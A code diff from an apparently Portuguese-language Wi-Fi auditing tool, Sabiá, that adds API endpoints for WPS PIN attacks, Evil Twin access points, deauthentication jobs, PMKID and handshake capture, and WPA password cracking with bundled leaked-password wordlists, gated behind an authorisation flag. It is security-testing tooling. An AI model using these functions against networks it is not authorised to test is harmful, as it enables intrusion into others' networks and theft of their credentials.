<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="19" x2="5" y2="10"/><line x1="12" y1="19" x2="12" y2="5"/><line x1="19" y1="19" x2="19" y2="13"/></svg></span>
<span><span class="t">Canais</span><span class="s">espectro e saúde</span></span>
</button></li>
</ul>
<div class="side-foot">
<div class="foot-row">
<button id="settingsBtn" class="icon-btn" type="button" title="Configurações" aria-label="Configurações">
<svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.7 1.7 0 0 0 .3 1.8l.1.1a2 2 0 1 1-2.8 2.8l-.1-.1a1.7 1.7 0 0 0-1.8-.3 1.7 1.7 0 0 0-1 1.5V21a2 2 0 1 1-4 0v-.1a1.7 1.7 0 0 0-1.1-1.5 1.7 1.7 0 0 0-1.8.3l-.1.1a2 2 0 1 1-2.8-2.8l.1-.1a1.7 1.7 0 0 0 .3-1.8 1.7 1.7 0 0 0-1.5-1H3a2 2 0 1 1 0-4h.1a1.7 1.7 0 0 0 1.5-1.1 1.7 1.7 0 0 0-.3-1.8l-.1-.1a2 2 0 1 1 2.8-2.8l.1.1a1.7 1.7 0 0 0 1.8.3H9a1.7 1.7 0 0 0 1-1.5V3a2 2 0 1 1 4 0v.1a1.7 1.7 0 0 0 1 1.5 1.7 1.7 0 0 0 1.8-.3l.1-.1a2 2 0 1 1 2.8 2.8l-.1.1a1.7 1.7 0 0 0-.3 1.8V9a1.7 1.7 0 0 0 1.5 1H21a2 2 0 1 1 0 4h-.1a1.7 1.7 0 0 0-1.5 1z"/></svg>
</button>
<div class="theme-switch" role="group" aria-label="Tema">
<button type="button" data-theme-pick="auto" aria-pressed="true">Auto</button>
<button type="button" data-theme-pick="light" aria-pressed="false">Claro</button>
<button type="button" data-theme-pick="dark" aria-pressed="false">Escuro</button>
</div>
</div>
<div class="foot-row">
<span id="verInfo" class="mono">—</span>
<select id="langSel" class="lang-sel" aria-label="Idioma" title="Idioma">
<option value="auto">Auto</option>
<option value="pt">Português</option>
<option value="en">English</option>
</select>
<button id="btnUpdate" type="button">checar atualização</button>
</div>
</div>
</aside>
<main class="main">
@@ -39,7 +61,9 @@
<h1>Painel de captura</h1>
<div class="sub" id="ifaceSub">selecione uma interface</div>
</div>
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
<div class="top-actions">
<button id="btnReport" class="btn" type="button" disabled>Relatório</button>
</div>
</div>
<svg class="wave" id="wave" viewBox="0 0 600 34" preserveAspectRatio="none">
@@ -68,14 +92,79 @@
</div>
<div class="result-head">
<strong>Redes vistas</strong>
<div class="result-summary">
<strong id="resultTitle">Redes vistas</strong>
<span id="count">0</span>
</div>
<div class="result-tools">
<input id="searchInput" class="filter" type="search" placeholder="filtrar por SSID ou BSSID" aria-label="Filtrar redes" autocomplete="off" spellcheck="false">
<select id="sortSel" class="select compact" aria-label="Ordenar por">
<option value="signal">Sinal</option>
<option value="security">Segurança</option>
<option value="clients">Clientes</option>
<option value="name">Nome</option>
</select>
</div>
</div>
<div id="resultArea"></div>
</div>
</main>
</div>
<dialog id="targetDlg" class="target-dlg" aria-labelledby="targetTitle">
<div class="target-head">
<div class="target-id">
<h2 id="targetTitle">—</h2>
<div class="target-sub" id="targetSub"></div>
</div>
<button id="targetClose" class="icon-btn" type="button" aria-label="Fechar" title="Fechar">
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
</button>
</div>
<div class="tabs" role="tablist" aria-label="Detalhes do alvo">
<button type="button" role="tab" data-tab="overview" aria-selected="true">Visão geral</button>
<button type="button" role="tab" data-tab="clients" aria-selected="false">Clientes <span class="tab-count" id="tabClientsCount">0</span></button>
<button type="button" role="tab" data-tab="attacks" aria-selected="false">Ataques</button>
</div>
<div class="tab-panel" id="tabPanel"></div>
</dialog>
<dialog id="reportDlg" class="report-dlg" aria-labelledby="reportTitle">
<div class="report-head">
<div>
<h2 id="reportTitle">Relatório de auditoria</h2>
<p class="hint" id="reportStatus">Pré-visualização paginada em A4.</p>
</div>
<div class="report-tools">
<button type="button" class="icon-btn" id="reportZoomOut" title="Diminuir zoom" aria-label="Diminuir zoom">−</button>
<span class="mono" id="reportZoomLabel">100%</span>
<button type="button" class="icon-btn" id="reportZoomIn" title="Aumentar zoom" aria-label="Aumentar zoom">+</button>
<button type="button" class="btn" id="reportPrint">Imprimir / PDF</button>
<button type="button" class="btn" id="reportDownload">Baixar HTML</button>
<button type="button" class="icon-btn" id="reportClose" title="Fechar" aria-label="Fechar">
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
</button>
</div>
</div>
<div class="report-view" id="reportView"><div class="report-canvas" id="reportCanvas"><iframe id="reportFrame" title="Relatório paginado"></iframe></div></div>
</dialog>
<dialog id="settingsDlg" aria-labelledby="settingsTitle">
<form method="dialog">
<h2 id="settingsTitle">Configurações</h2>
<div class="field">
<span class="field-label">Idioma</span>
<select id="langSel" class="select" name="lang" aria-label="Idioma">
<option value="auto">Auto</option>
<option value="pt">Português</option>
<option value="en">English</option>
</select>
</div>
<menu><button class="btn primary" value="close">Fechar</button></menu>
</form>
</dialog>
<script type="module" src="/app.js"></script>
</body>
</html>
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2017-2024 Paged.js contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+10
View File
@@ -0,0 +1,10 @@
# Paged.js
`paged.polyfill.min.js` é o polyfill do [Paged.js](https://pagedjs.org/), versão
0.4.3, usado para paginar os relatórios em A4 no navegador.
- Projeto: https://gitlab.coko.foundation/pagedjs/pagedjs
- Licença: MIT (texto em `PAGEDJS-LICENSE`)
- Arquivo: `paged.polyfill.min.js` (build de distribuição, não modificado)
O arquivo é vendorizado para que o relatório funcione offline, sem CDN.
+4
View File
@@ -0,0 +1,4 @@
/**
* @license Paged.js v0.4.3 | MIT | https://gitlab.coko.foundation/pagedjs/pagedjs
*/
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).PagedPolyfill=t()}(this,(function(){"use strict";function e(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var t,n,r={exports:{}},a={exports:{}};var i,o,s,l,d=function(){},p=d(),c=function(e){return e!==p&&null!==e};function u(){return l||(l=1,s=(n?t:(n=1,t=function(){try{return Object.keys("primitive"),!0}catch(e){return!1}}))()?Object.keys:function(){if(o)return i;o=1;var e=c,t=Object.keys;return i=function(n){return t(e(n)?Object(n):n)}}()),s}var m,h,g=c,f=function(e){if(!g(e))throw new TypeError("Cannot use null or undefined");return e};var y,b,S=function(){var e,t=Object.assign;return"function"==typeof t&&(t(e={foo:"raz"},{bar:"dwa"},{trzy:"trzy"}),e.foo+e.bar+e.trzy==="razdwatrzy")}()?Object.assign:function(){if(h)return m;h=1;var e=u(),t=f,n=Math.max;return m=function(r,a){var i,o,s,l=n(arguments.length,2);for(r=Object(t(r)),s=function(e){try{r[e]=a[e]}catch(e){i||(i=e)}},o=1;o<l;++o)e(a=arguments[o]).forEach(s);if(void 0!==i)throw i;return r},m}(),v=c,x=Array.prototype.forEach,k=Object.create,w="razdwatrzy";var C,T="function"==typeof w.contains&&!0===w.contains("dwa")&&!1===w.contains("foo")?String.prototype.contains:function(){if(b)return y;b=1;var e=String.prototype.indexOf;return y=function(t){return e.call(this,t,arguments[1])>-1},y}(),_=S,z=function(e){var t=k(null);return x.call(arguments,(function(e){v(e)&&function(e,t){var n;for(n in e)t[n]=e[n]}(Object(e),t)})),t},O=function(e){return"function"==typeof e},A=T;C=a.exports=function(e,t){var n,r,a,i,o;return arguments.length<2||"string"!=typeof e?(i=t,t=e,e=null):i=arguments[2],null==e?(n=a=!0,r=!1):(n=A.call(e,"c"),r=A.call(e,"e"),a=A.call(e,"w")),o={value:t,configurable:n,enumerable:r,writable:a},i?_(z(i),o):o},C.gs=function(e,t,n){var r,a,i,o;return"string"!=typeof e?(i=n,n=t,t=e,e=null):i=arguments[3],null==t?t=void 0:O(t)?null==n?n=void 0:O(n)||(i=n,n=void 0):(i=t,t=n=void 0),null==e?(r=!0,a=!1):(r=A.call(e,"c"),a=A.call(e,"e")),o={get:t,set:n,configurable:r,enumerable:a},i?_(z(i),o):o};var E=a.exports,j=function(e){if("function"!=typeof e)throw new TypeError(e+" is not a function");return e};!function(e,t){var n,r,a,i,o,s,l,d=E,p=j,c=Function.prototype.apply,u=Function.prototype.call,m=Object.create,h=Object.defineProperty,g=Object.defineProperties,f=Object.prototype.hasOwnProperty,y={configurable:!0,enumerable:!1,writable:!0};n=function(e,t){var n;return p(t),f.call(this,"__ee__")?n=this.__ee__:(n=y.value=m(null),h(this,"__ee__",y),y.value=null),n[e]?"object"==typeof n[e]?n[e].push(t):n[e]=[n[e],t]:n[e]=t,this},r=function(e,t){var r,i;return p(t),i=this,n.call(this,e,r=function(){a.call(i,e,r),c.call(t,this,arguments)}),r.__eeOnceListener__=t,this},a=function(e,t){var n,r,a,i;if(p(t),!f.call(this,"__ee__"))return this;if(!(n=this.__ee__)[e])return this;if("object"==typeof(r=n[e]))for(i=0;a=r[i];++i)a!==t&&a.__eeOnceListener__!==t||(2===r.length?n[e]=r[i?0:1]:r.splice(i,1));else r!==t&&r.__eeOnceListener__!==t||delete n[e];return this},i=function(e){var t,n,r,a,i;if(f.call(this,"__ee__")&&(a=this.__ee__[e]))if("object"==typeof a){for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];for(a=a.slice(),t=0;r=a[t];++t)c.call(r,this,i)}else switch(arguments.length){case 1:u.call(a,this);break;case 2:u.call(a,this,arguments[1]);break;case 3:u.call(a,this,arguments[1],arguments[2]);break;default:for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];c.call(a,this,i)}},o={on:n,once:r,off:a,emit:i},s={on:d(n),once:d(r),off:d(a),emit:d(i)},l=g({},s),e.exports=t=function(e){return null==e?m(l):g(Object(e),s)},t.methods=o}(r,r.exports);var W=r.exports,L=e(W);class B{constructor(e){this.context=e||this,this.hooks=[]}register(){for(var e=0;e<arguments.length;++e)if("function"==typeof arguments[e])this.hooks.push(arguments[e]);else for(var t=0;t<arguments[e].length;++t)this.hooks.push(arguments[e][t])}trigger(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);a&&"function"==typeof a.then?n.push(a):n.push(new Promise(((e,t)=>{e(a)})))})),Promise.all(n)}triggerSync(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);n.push(a)})),n}list(){return this.hooks}clear(){return this.hooks=[]}}function P(e){if(!e)return;let t;if(void 0!==e.getBoundingClientRect)t=e.getBoundingClientRect();else{let n=document.createRange();n.selectNode(e),t=n.getBoundingClientRect()}return t}function q(e){if(!e)return;let t;if(void 0!==e.getClientRects)t=e.getClientRects();else{let n=document.createRange();n.selectNode(e),t=n.getClientRects()}return t}function M(){var e=(new Date).getTime();return"undefined"!=typeof performance&&"function"==typeof performance.now&&(e+=performance.now()),"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replaceLine truncated
+7 -1
View File
@@ -72,6 +72,10 @@ enum Cmd {
bssid: Option<String>,
#[arg(long)]
station: Option<String>,
/// Aplica mutações comuns a cada palavra (maiúscula, sufixos
/// numéricos, leet simples) — multiplica o tempo de verdade.
#[arg(long)]
rules: bool,
#[arg(long)]
json: bool,
},
@@ -275,6 +279,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
wordlist,
bssid,
station,
rules,
json,
} => {
let mut last = 0u64;
@@ -283,6 +288,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
&wordlist,
bssid.as_deref(),
station.as_deref(),
rules,
|tried| {
if tried.saturating_sub(last) >= 4096 {
eprint!("\r{tried} senhas testadas…");
@@ -412,7 +418,7 @@ fn crack_first(engine: &Engine, iface: &str, wordlist: &PathBuf) -> sabia_core::
hs.bssid,
wordlist.display()
);
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist)?;
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist, false)?;
loop {
let job = engine.crack_job(&id).expect("job");
if job.status == "running" {
+353 -6
View File
@@ -15,13 +15,29 @@ use std::time::{SystemTime, UNIX_EPOCH};
const INDEX_HTML: &str = include_str!("../../../../apps/gui/ui/index.html");
const APP_CSS: &str = include_str!("../../../../apps/gui/ui/app.css");
const APP_JS: &str = include_str!("../../../../apps/gui/ui/app.js");
const LOGO_PNG: &[u8] = include_bytes!("../../../../apps/gui/ui/sabia.png");
const I18N_JS: &str = include_str!("../../../../apps/gui/ui/i18n.js");
const I18N_EN_JS: &str = include_str!("../../../../apps/gui/ui/i18n-en.js");
const LOGO_PNG: &[u8] = include_bytes!("../../../../logo.png");
const PAGED_JS: &str = include_str!("../../../../apps/gui/ui/vendor/paged.polyfill.min.js");
pub fn serve(port: u16, audit_path: std::path::PathBuf, open: bool) -> sabia_core::Result<()> {
let token = gen_token();
let listener = TcpListener::bind(("127.0.0.1", port))?;
let engine = Arc::new(Engine::with_audit_path(audit_path));
// Sem isso, Ctrl+C (ou um `kill` normal) durante um Evil Twin ativo
// mata o processo sem rodar a limpeza: hostapd/dnsmasq ficam órfãos
// e as duas interfaces ficam presas em `managed no` pro
// NetworkManager — o painel de Wi-Fi do sistema some por completo até
// o próximo início do engine se auto-curar.
{
let engine = engine.clone();
let _ = ctrlc::set_handler(move || {
engine.shutdown_cleanup();
std::process::exit(0);
});
}
println!("Sabiá UI em http://127.0.0.1:{port}/?token={token}");
if open {
let _ = open_browser(&format!("http://127.0.0.1:{port}/?token={token}"));
@@ -225,7 +241,48 @@ fn handle(
);
}
if req.path == "/api/report.html" {
if req.token.as_deref() != Some(expected_token) {
return respond(&mut stream, 401, "text/plain", b"token invalido");
}
let Some(iface) = req.text("iface") else {
return respond(&mut stream, 400, "text/plain", b"iface obrigatoria");
};
return match engine.report(&iface) {
Ok(model) => {
let download = req.bool("download");
let mut html = sabia_core::report::render(
&model,
sabia_core::report::ReportOptions {
inline_pagedjs: download,
},
);
if download {
html = html.replace(
"<!--SABIA_PAGEDJS-->",
&format!("<script>{PAGED_JS}</script>"),
);
}
respond(
&mut stream,
200,
"text/html; charset=utf-8",
html.as_bytes(),
)
}
Err(e) => respond(&mut stream, 400, "text/plain", e.to_string().as_bytes()),
};
}
match req.path.as_str() {
"/vendor/paged.polyfill.min.js" | "/paged.polyfill.min.js" => {
return respond(
&mut stream,
200,
"application/javascript",
PAGED_JS.as_bytes(),
)
}
"/app.css" => return respond(&mut stream, 200, "text/css", APP_CSS.as_bytes()),
"/app.js" => {
return respond(
@@ -235,7 +292,23 @@ fn handle(
APP_JS.as_bytes(),
)
}
"/sabia.png" => return respond(&mut stream, 200, "image/png", LOGO_PNG),
"/i18n.js" => {
return respond(
&mut stream,
200,
"application/javascript",
I18N_JS.as_bytes(),
)
}
"/i18n-en.js" => {
return respond(
&mut stream,
200,
"application/javascript",
I18N_EN_JS.as_bytes(),
)
}
"/logo.png" => return respond(&mut stream, 200, "image/png", LOGO_PNG),
_ => {}
}
@@ -408,13 +481,210 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
Err(e) => err(400, e),
}
}
("POST", "/api/handshakes/export-hc22000") => {
let (Some(iface), Some(bssid), Some(station), Some(out)) = (
req.text("iface"),
req.text("bssid"),
req.text("station"),
req.text("out"),
) else {
return err(400, "iface, bssid, station e out são obrigatórios");
};
match engine.export_hc22000(&iface, &bssid, &station, &out) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/handshakes/export-all-hc22000") => {
let (Some(iface), Some(out)) = (req.text("iface"), req.text("out")) else {
return err(400, "iface e out são obrigatórios");
};
match engine.export_all_hc22000(&iface, &out) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("GET", "/api/report") => {
let Some(iface) = req.text("iface") else {
return err(400, "iface obrigatória");
};
match engine.report(&iface) {
Ok(model) => ok(&model),
Err(e) => err(400, e),
}
}
("GET", "/api/wps/tools") => ok(&engine.wps_tools()),
("POST", "/api/wps") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let tool = req.text("tool").unwrap_or_else(|| "reaver".into());
let channel = req.u32("channel").unwrap_or(0);
let pin = req.text("pin");
match engine.start_wps(&iface, &bssid, channel, &tool, pin.as_deref()) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("GET", "/api/wps") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.wps_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/wps/jobs") => ok(&engine.wps_jobs()),
("POST", "/api/wps/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_wps(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("POST", "/api/eviltwin") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(ap_iface), Some(bssid)) =
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
else {
return err(400, "iface, ap_iface e bssid são obrigatórios");
};
let portal_port = req.u16("portal_port").unwrap_or(8080);
let deauth = req.bool("deauth");
match engine.start_evil_twin(&iface, &ap_iface, &bssid, portal_port, deauth) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("GET", "/api/eviltwin") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.eviltwin_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/eviltwins") => ok(&engine.eviltwin_jobs()),
("POST", "/api/eviltwin/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_evil_twin(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("POST", "/api/eviltwin-enterprise") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(ap_iface), Some(bssid)) =
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
else {
return err(400, "iface, ap_iface e bssid são obrigatórios");
};
match engine.start_evil_twin_enterprise(&iface, &ap_iface, &bssid) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("GET", "/api/eviltwin-enterprise") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.enterprise_twin_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/eviltwins-enterprise") => ok(&engine.enterprise_twin_jobs()),
("POST", "/api/eviltwin-enterprise/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_evil_twin_enterprise(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("POST", "/api/pmkid") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let attempts = req.u32("attempts").unwrap_or(5);
match engine.pmkid_hunt(&iface, &bssid, attempts) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/pmf") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid), Some(station)) =
(req.text("iface"), req.text("bssid"), req.text("station"))
else {
return err(400, "iface, bssid e station são obrigatórios");
};
let reason = req.u16("reason").unwrap_or(7);
match engine.pmf_test(&iface, &bssid, &station, reason) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/crack") => {
let (Some(iface), Some(wordlist)) = (req.text("iface"), req.text("wordlist")) else {
return err(400, "iface e wordlist são obrigatórios");
let Some(iface) = req.text("iface") else {
return err(400, "iface é obrigatória");
};
let bssid = req.text("bssid");
let station = req.text("station");
match engine.start_crack(&iface, bssid.as_deref(), station.as_deref(), &wordlist) {
let rules = req.bool("rules");
let result = match req.text("wordlist") {
Some(wordlist) if !wordlist.trim().is_empty() => engine.start_crack(
&iface,
bssid.as_deref(),
station.as_deref(),
&wordlist,
rules,
),
_ => {
engine.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules)
}
};
match result {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("POST", "/api/crack/mask") => {
let Some(iface) = req.text("iface") else {
return err(400, "iface é obrigatória");
};
let Some(mask) = req.text("mask").filter(|m| !m.trim().is_empty()) else {
return err(400, "máscara é obrigatória");
};
let bssid = req.text("bssid");
let station = req.text("station");
let max_candidates = req.u64("max_candidates").unwrap_or(50_000_000);
match engine.start_crack_mask(
&iface,
bssid.as_deref(),
station.as_deref(),
&mask,
max_candidates,
) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
@@ -441,17 +711,94 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
};
let count = req.u32("count").unwrap_or(5);
let reason = req.u16("reason").unwrap_or(7);
match engine.deauth(
let direction = req.text("direction").unwrap_or_else(|| "ap".into());
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
match engine.deauth_directional(
&iface,
&bssid,
req.text("station").as_deref(),
count,
reason,
&direction,
&frame_kind,
) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/deauth/start") => {
if !req.bool("confirm") {
return err(
400,
"confirme a autorização do teste (confirm=true) antes de desautenticar",
);
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let reason = req.u16("reason").unwrap_or(7);
let direction = req.text("direction").unwrap_or_else(|| "both".into());
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
let interval_ms = req.u64("interval_ms").unwrap_or(120);
let max_secs = req.u64("max_secs");
let stop_on_handshake = req.bool("stop_on_handshake");
match engine.start_deauth_job(
&iface,
&bssid,
req.text("station").as_deref(),
reason,
&direction,
&frame_kind,
interval_ms,
max_secs,
stop_on_handshake,
) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("POST", "/api/deauth/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_deauth_job(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("GET", "/api/deauth/job") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.deauth_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/deauth/jobs") => {
let jobs = engine.deauth_jobs();
match req.text("iface") {
Some(iface) => ok(&jobs
.into_iter()
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
.collect::<Vec<_>>()),
None => ok(&jobs),
}
}
("POST", "/api/handshakes/capture") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let seconds = req.u64("seconds");
match engine.capture_handshake(&iface, &bssid, req.text("station").as_deref(), seconds)
{
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("POST", "/api/analyze") => {
let pcap = if !req.body.is_empty() {
serde_json::from_slice::<AnalyzeBody>(&req.body)
+2
View File
@@ -18,6 +18,8 @@ sha2 = "0.10"
sha1 = "0.10"
hmac = "0.12"
md-5 = "0.10"
aes = "0.8"
flate2 = { version = "1", default-features = false, features = ["rust_backend"] }
[dev-dependencies]
tempfile = "3"
@@ -0,0 +1,100 @@
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: reaver-wps-fork-t6x
Source: https://github.com/t6x/reaver-wps-fork-t6x
Files: *
Copyright: 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
License: GPL-2
Files: src/common/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/crypto/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi> and contributors
License: GPL-2
Files: src/tls/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/tls/libtommath.c
Copyright: Tom St Denis
License: public-domain
Files: src/utils/*
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/utils/radiotap.h
Copyright: 2003-2004 David Young
License: BSD-3-clause
Files: src/wps/*
Copyright: 2007-2009, Jouni Malinen <j@w1.fi>
License: GPL-2
Files: src/wps/wps_ufd.c
Copyright: 2009, Masashi Honma <honma@ictec.co.jp>
License: GPL-2
Files: src/lwe/*
Copyright: 1997-2007, Jean Tourrilhes <jt@hpl.hp.com>
License: GPL-2
Files: debian/*
Copyright: 2011-2018 Bartosz Fenski <fenio@debian.org>
2023 Leandro Cunha <leandrocunha016@gmail.com>
License: GPL-2
License: GPL-2
This package is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License.
.
This package is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
.
You should have received a copy of the GNU General Public License
along with this package; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
.
On Debian systems, the complete text of the GNU General
Public License can be found in `/usr/share/common-licenses/GPL-2'.
License: BSD-3-clause
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
.
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
.
3. Neither the name of the ORGANIZATION nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
License: public-domain
The files tagged with this license contains the following paragraphs:
.
No copyright is claimed. This code is in the public domain; do with
it what you wish.
.
Written by Karel Zak <kzak@redhat.com>
Binary file not shown.
@@ -0,0 +1,31 @@
wpa-full.txt.gz
Dois dicionários concatenados, com as duplicatas removidas e a ordem de
prioridade preservada (as entradas mais prováveis ficam primeiro, então a
quebra por dicionário tende a achar a senha mais cedo em vez de só no fim):
1. Probable-Wordlists (berzerk0), Real-Passwords/WPA-Length/
Top204Thousand-WPA-probable-v2.txt — 203.806 senhas reais vazadas, já
filtradas pro comprimento válido de WPA (8–63) e ordenadas por frequência
observada no mundo real.
https://github.com/berzerk0/Probable-Wordlists
Licença: Creative Commons Attribution-ShareAlike 4.0 International
(CC BY-SA 4.0) — https://creativecommons.org/licenses/by-sa/4.0/
2. rockyou.txt — o dump de senhas em texto puro do vazamento da RockYou de
